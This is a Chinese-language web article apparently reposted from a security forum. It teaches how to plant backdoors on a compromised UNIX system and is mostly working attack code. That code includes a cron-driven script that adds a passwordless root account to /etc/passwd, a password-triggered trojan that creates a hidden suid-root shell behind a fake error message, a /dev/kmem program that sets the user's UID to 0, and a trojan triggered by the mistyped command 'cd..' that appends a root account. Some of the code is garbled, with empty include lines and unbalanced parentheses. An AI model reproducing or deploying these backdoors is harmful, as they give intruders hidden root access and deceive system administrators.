当前位置:eNet硅谷动力 > 网络安全频道 > Unix/Linux
如何创建UNIX后门
2005-02-02 10:14 来源:安全焦点论坛 [收藏到E起摘]
【编者按】
    Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造"后门"!

  Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造"后门"!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统**想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:   

  (1) (2) (3) (4) (5) (6)

  0 0 * * 3 /usr/bin/updatedb   

  1. 分钟 (0-60)

  2. 小时 (0-23)

  3. 日 (1-31)

  4. 月 (1-12)

  5. 星期 (1-7)

  6. 所要运行的程序   

  以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:   

  0 0 * * * /usr/bin/retract   

  <++> backdoor/backdoor.sh

  #!/bin/csh   

  set evilflag = (`grep eviluser /etc/passwd`)  

  if($#evilflag == 0) then   

  set linecount = `wc -l /etc/passwd`

  cd

  cp /etc/passwd ./temppass

  @ linecount[1] /= 2

  @ linecount[1] += 1

  split -$linecount[1] ./temppass

  echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa

  cat ./xab >> ./xaa

  mv ./xaa /etc/passwd

  chmod 644 /etc/passwd

  rm ./xa* ./temppass

  echo Done...

  else

  endif

  <-->   

  [综合]   

  当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:   

  <++> backdoor/backdoor3.c

  #include

  #define pass "triad"

  #define BUFFERSIZE 6   

  int main(argc, argv)

  int argc;

  char *argv[];{   

  int i=0;   

  if(argv[1]){   

  if(!(strcmp(pass,argv[1]))){   

  system("cp /bin/csh /bin/.swp121");

  system("chmod 4755 /bin/.swp121");

  system("chown root /bin/.swp121");

  system("chmod 4755 /bin/.swp121");

  }

  }   

  printf("372f: Invalid control argument, unable to initialize. Retrying");

  for(;i<10;i++){

  fprintf(stderr,".");

  sleep(1);

  }

  printf("

  Action aborted after 10 attempts.

  ");

  return(0);

  }

  <-->   

  [变种]  

  以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。  

  <++> backdoor/kmemthief.c

  #include

  #include

  #include

  #include

  #include

  #include

  #include   

  #define pass "triad"  

  struct user userpage;

  long address(), userlocation;  

  int main(argc, argv, envp)

  int argc;

  char *argv[], *envp[];{  

  int count, fd;

  long where, lseek();   

  if(argv[1]){

  if(!(strcmp(pass,argv[1]))){

  fd=(open("/dev/kmem",O_RDWR);   

  if(fd<0){

  printf("Cannot read or write to

  /dev/kmem

  ");

  perror(argv);

  exit(10);

  }   

  userlocation=address();

  where=(lseek(fd,userlocation,0);   

  if(where!=userlocation){

  printf("Cannot seek to user page

  ");

  perror(argv);

  exit(20);

  }   

  count=read(fd,&userpage,sizeof(struct user));  

  if(count!=sizeof(struct user)){

  printf("Cannot read user page

  ");

  perror(argv);

  exit(30);

  }   

  printf("Current UID: %d

  ",userpage.u_ruid);

  printf("Current GID: %d

  ",userpage.g_ruid);   

  userpage.u_ruid=0;

  userpage.u_rgid=0;   

  where=lseek(fd,userlocation,0);   

  if(where!=userlocation){

  printf("Cannot seek to user page

  ");

  perror(argv);

  exit(40);

  }
  

  write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));   

  execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

  }

  }   

  }

  <-->   

  ["笨"方法]  

  你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点"贡献"呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:   

  <++> backdoor/dumb.c

  /*

  本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。

  */   

  #include

  #include   

  main()

  {

  FILE *fd;

  fd=fopen("/etc/passwd","a+");

  fprintf(fd,"hax0r::0:0::/root:/bin/sh

  ");

  system("cd");

  }

  <-->   


【责任编辑 张洪】


投稿信箱:内容合作:010—65245588—3137
 

 信息化手册
· 专家教你QQ聊天防盗五大绝
· 校园网如何部署GSN全局安
· 什么是CIO?
· 浅谈CRM系统应用中的四大
· 架构、构件、组件、框架、
· DSM领域定义建模和MDA模型
· 企业信息化管理“新领域”
· 软件测试步骤介绍
· 影响软件测试效率的因素
· 软件测试的基本原则
 信息化查询
应用分类:
重点项目
ERP CRM 电子政务 HR 无线 网络安全 服务器 存储 VoIP 智能卡 视频会议
财务管理 远程教育 网络建设
重点行业
电信 金融证券 广电 政府
服装 石化 汽车 邮政
制造业 房地产 医疗 商业
宾馆旅游 教育 民航 工商税务 公安 电力 保险 仓储 海关 人事 其它
对此感兴趣】 【 到论坛发表评论 】 【 E-mail给朋友】 【 回频道首页 】 【 关闭窗口





垃圾邮件
何时不再来

宽待接入方式
一览

DDos
攻击分析与防御

政府采购
打开节能绿色通道

新媒体梦想
照进手机电视的现实

从选型到实施
全面解析CRM
信息化优秀案例
2005 信息化最具影响力品牌
——思科政府网络安全解决方案

2005 物流行业专业服务奖
——金蝶物流服务行业解决方案

2005 制造行业最佳项目实施奖
——神州数码PDM系统应用案例

2005 教育信息化优秀服务商
——NEC校园网络建设成功案例
漏洞播报
1、蠕虫Win32/Pipown注入winlogon.
2、病毒Win32/Seresp改变URL 妨碍用
3、“泽拉丁变种JR”发送垃圾邮件让
4、“QQ通行证变种YRV”窃取用户QQ
5、蠕虫Win32.Looked.KP定期下载运
6、冒充“超级兔子” 突破QQ软键盘
7、自动运行木马下载器变种YTZ通过
8、“杀软禁闭者204800”改系统时间
9、微软承认Excel 2007存在漏洞 不
10、Cisco Unified MeetingPlace跨站
精彩文章推荐
1、手机辐射标准 有望今年年内出台
2、上海有线互动电视 计划明年推广
3、中电华通:运营3.5GHz的机遇来临
4、夺三项目 WAPI联盟完成产业布局
5、专家称:要警惕WCDMA势力封杀TD
6、大唐电信投入13亿元担保豪赌3G
7、把握用户需求 是IPTV成功的关键
8、美宽带市场 落后于世界先进水平
9、黄金周用手机WAP可订购小额保险
10、互联网 改变了电信业的游戏规则
eNet商城促销

AP与Gateway双模支持WDS及POE供电

48个10/100Mbps快速以太网端口

GPRS上网卡;最高传送速度85.6Kbp

极具性价比防火墙中小企业最佳选择
热门关键字:笔记本 | 手机 | 笔记本电脑 | 数码 | 数码相机 | 服务器| 主板 | CPU | 音箱 | 显示器 | 一体机 | 服务器 | 信息化 | 解决方案 | 游戏
关于eNet | 广告服务 | 版权声明 | 加入eNet | 联系我们 | 建议/投诉 | 网站导航 | 加入收藏

网站合作、内容监督、商务咨询、投诉建议:010-65245588
合作建议:hezuo@mail.enet.com.cn
Copyright © 1998--2008 硅谷动力公司版权所有 京ICP证000044号

京ICP证000044号